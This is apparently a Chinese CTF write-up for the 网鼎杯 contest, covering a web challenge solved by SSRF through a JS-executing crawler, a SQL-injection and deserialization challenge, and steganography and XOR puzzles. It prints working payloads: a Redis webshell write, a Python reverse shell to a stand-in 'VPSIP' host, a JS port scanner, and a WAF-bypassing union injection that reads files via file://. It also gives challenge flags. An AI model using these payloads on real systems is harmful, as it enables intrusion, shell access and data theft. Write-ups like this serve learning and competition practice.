网鼎杯wp

这比赛把人打到自闭

web

web1000

先写下这道没人做出来的web

题目本身出的非常好 行云流水般的内网操作

https://mp.weixin.qq.com/s?__biz=MzUzNTkyODI0OA==&mid=2247491146&idx=3&sn=62911c7eede3f3207bd3badb65983d8d&chksm=faff529dcd88db8b00fc09b58bd8d86ebbbd6463cba8d9319718e4ded7046fc60c76475aa943&mpshare=1&scene=23&srcid=0820KKS4SsULFtWOy9z1xffV#rd

https://xz.aliyun.com/t/2607

https://www.xmsec.cc/wdb-review/

题目是一个在线爬虫解析HTML A标签的的功能,显示会把tag A的内容打印在屏幕上

首先扫目录 robots.txt

查看发现 目录 get_sourcecode

尝试访问 提示 NOT 127.0.0.1

所有头全加伪造一波 还是gg

namp看了下好像是nginx的反代

想到了长亭上那个代理题目的服务器 然后访问127.0.0.1的操作 仍然gg

大概是因为docker??

这里应该测试爬虫 发现是动态分析 说白了就是会执行js

所以构造html文件 用 XMLHttpRequest 让 js 执行http请求

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<a href="" id="flag">test</a>
<script type="text/javascript">
function loadXMLDoc()
{
var xmlhttp;
if (window.XMLHttpRequest)
{// code for IE7+, Firefox, Chrome, Opera, Safari
xmlhttp=new XMLHttpRequest();
}
else
{// code for IE6, IE5
xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
}
xmlhttp.onreadystatechange=function()
{
if (xmlhttp.readyState==4 && xmlhttp.status==200)
{
document.getElementById("flag").innerHTML=xmlhttp.responseText;
}
}
xmlhttp.open("GET","http://127.0.0.1:80/get_sourcecode",true);
xmlhttp.send();
}
loadXMLDoc();
</script>

执行AJAX请求,并把结果动态赋到id为flag的a标签里,随之输出出来

AJAX 就是 异步的 JavaScript 和 XML

1
2
3
4
5
6
7
8
9
10
AJAX是基于现有的Internet标准
AJAX是基于现有的Internet标准,并且联合使用它们:
XMLHttpRequest 对象 (异步的与服务器交换数据)
JavaScript/DOM (信息显示/交互)
CSS (给数据定义样式)
XML (作为转换数据的格式)
AJAX应用程序与浏览器和平台无关的!

这样终于拿到了源码

发现 过滤了dbfilename,可知是redis相关

构造redis corntab shell失败,可能系统是ubuntu等,crontab不行就尝试从web入手
(由于redis写入的文件有莫名的头和尾 只有centos才能成功通过crontab来弹shell)

http://foreversong.cn/archives/1180

通过JS端口探测

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<a id="result"></a>
<script>
var data = document.getElementById('result').innerHTML;
var TagName = document.getElementsByTagName("body")[0];
ports=[80,81,88,6379,8000,8080,8088];
for(var i in ports){
var script = document.createElement("script");
poc = "data += '" + ports[i] + " OPEN; '; document.getElementById('result').innerHTML = data;"
script.setAttribute("src","http://127.0.0.1:" + ports[i]);
script.setAttribute("onload", poc);
TagName.appendChild(script);
}
</script>

这里有个小坑,通过 JS 代码并不能发现 redis 的端口6379是开放的,但是该端口确实是开放的。有人说 JS 代码只能探测Web类端口,在探测redis端口的时候回卡在等待界面

getshell后可以发现CTF中redis环境是2.8版本。不过redis>=3.2版本,会过滤一些特殊字符,直接利用js发送http请求,由于POST数据包的特殊字符被过滤,导致链接会被redis关闭,所以不会执行后面的写文件等payload

所以这里为什么还不清楚

得到8000端口开放着,猜测是apache2等phpserver

构造一个Redis EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<a href="" id="flag">test</a>
level=low_273eac1c
<script>
var xmlHttp;
if(window.XMLHttpRequest){
xmlHttp = new XMLHttpRequest();
}else{
xmlHttp = newActiveXObject("Microsoft.XMLHTTP");
}
var formData = new FormData();
formData.append("0","flushall"+"\n"+"config set dir /var/www/html/"+"\n"+"config set dbfilename shell.php"+"\n"+'set 1 "\\n\\n<?php header(\'Access-Control-Allow-Origin:*\'); echo file_get_contents($_GET[0]);?>\\n\\n"'+"\n"+"save"+"\n"+"quit");
xmlHttp.open("POST","http://127.0.0.1:6379",true);
xmlHttp.send(formData);
</script>

加 level=low_273eac1c 因为源码以有写过滤

这里有个坑点

因为不同端口,所以存在跨域,需要加上Access-Control-Allow-Origin:* 头部 (CORS)

有关同源和跨域
https://www.cnblogs.com/rockmadman/p/6836834.html

这里是盲打 你也不着写进去没 所以比赛时在不知道是不是正确时会很慌 无形增大难度

最后再构造一个HTML利用webshell

test

最后直接反弹shell也可以,大师傅测试的时候发现直接用bash反弹不行,但是用python代码可以反弹回来,可能是题目环境限制了一些关键词

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<a href="" id="flag">test</a>
<script type="text/javascript">
function loadXMLDoc(){
var xmlhttp;
if (window.XMLHttpRequest){// code for IE7+, Firefox, Chrome, Opera, Safari
xmlhttp=new XMLHttpRequest();
}
else{// code for IE6, IE5
xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
}
xmlhttp.onreadystatechange=function(){
if (xmlhttp.readyState==4 && xmlhttp.status==200)
{
document.getElementById("flag").innerHTML=xmlhttp.responseText;
}
}
xmlhttp.open("GET","http://127.0.0.1:8000/shell.php?_=`python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"VPSIP\",端口));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'`;",true)
xmlhttp.send();
}
loadXMLDoc();
</script>

小结

这题真的是十分精彩 其实做这个前几天我刚总结过 xss 打 内网redis 和 redis getshell 的相关操作

这次刚好加深印象

不过这个可能不是传统回显在vps的xss 它那个在线爬虫会执行js并回显在当前页面

大概可以说是ajax打内网 也有点像xml打内网 还有点像ssrf的操作

其实到底叫什么并不重要 真正要学习的是如何利用有限条件操作内网

facebook

sql注入+反序列化+file协议读文件(LFR) 或者 sql注入+ssrf 只是思考的角度不同

不过对ssrf还是不太敏感 最近有在看hctf2016的题 AT Field 一开始也是ssrf 看wp的时候我还愣了一下
http://www.freebuf.com/articles/web/121778.html

同样扫目录 robots.txt

发现并下载user.php.bak

一看就应该有反序列化的洞

能看懂的反序列化学习
https://www.cnblogs.com/perl6/p/7124345.html

直接用 union select 会被WAF检测到,所以我们添加了 /**/

-1/**/union/**/select/**/1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:3:"yyy";s:3:"age";i:0;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'

var/www/html/ 路径报错的时候给了 不给的话大概也能猜到

flag.php字典大的话可以跑出来

为啥不直接http读flag.php

其实稍微试一下就能发现 http的协议也能得到base64的回显的 but只有flag.php没有base64的回显 应该是过滤了

使用http协议没办法读到flag 又给了文件路径 最简单的办法就是file协议

最后有一点sql注入时我感觉十分重要 就是回显位的判断

?=-1或者加 and 1=2 让它自带语句不执行好回显我们的union是其一

还有你 union select 1,2,3,4 可能回显位只有一个 比如这题在 2 要是不仔细看下就得当盲注做了..

仍记得当时强网杯three hit那道sql没看回显位以为不能回显当盲注做的。。而且那道题还是二次注入当时脚本没写出来。。纯手工注入的。。。简直累死

那道题可以看
https://blog.csdn.net/qq_32465127/article/details/79814049

misc

minifie

png隐写 看图片我还以为要python提取像素点

正解为stegsolve发现red0通道为空

猜测是0通道有问题,将其他plane 0通道(red,green,Alpha)提取并且保存,使用Stegsolve对三张图片分别做Image Combiner对比 ,最后发现Alpha plane 0和green plane 0通道进行XOR(异或) 就可以得到flag

https://blog.csdn.net/xiangshangbashaonian/article/details/81870097

clip

https://blog.csdn.net/xiangshangbashaonian/article/details/81906161

这题被题目描述坑了 说什么从老旧损坏硬盘恢复的文件系统

我一直试文件恢复的操作。。

结果是winhex直接搜索

有师傅说disk是应该linux挂载的 但既然提示损坏就应该不是这个方向 有点牵强orz

结果从文件中可以搜索到两个png图片 注意有一个是没有png文件头的

这里最搜索 IDAT 涨姿势了orz

https://blog.csdn.net/SWEET0SWAT/article/details/81879942

但这种做法好像不是预期 预期可能是什么zlib compress解密

当时我 binwalk -e能出来超级多的zlib 然后我就不会了。。

记录一道re

https://paper.tuisec.win/detail/f8d629ce47c117c

为啥想记录这道re呢 因为看wp把我吓到了 大师傅直接就能看出来字符串是xor的。。膜拜

贴下原话

老年misc选手,看到输出得到加密后的flag:4b404c4b5648725b445845734c735949405c414d5949725c45495a51
像是异或flag后的结果

import libnum
In [97]: libnum.n2s(0x4b404c4b5648725b445845734c735949405c414d5949725c45495a51)
Out[97]: ‘K@LKVHr[DXEsLsYI@\AMYIr\EIZQ’

猜测:
In [93]: ord(“f”)^0x4b
Out[93]: 45

In [94]: ord(“g”)^0x4b
Out[94]: 44

In [95]: ord(“l”)^0x40
Out[95]: 44

In [96]: ord(“a”)^0x4c
Out[96]: 45

xor key 为45,44

In [98]: enc = libnum.n2s(0x4b404c4b5648725b445845734c735949405c414d5949725c45495a51)

In [99]: flag = “”
In [102]: for i in range(len(enc)):
…: if i%2==0:
…: flag+=chr(ord(enc[i])^45)
…: else:
…: flag+=chr(ord(enc[i])^44)
…:
…:

In [103]: print flag
flag{d_with_a_template_phew}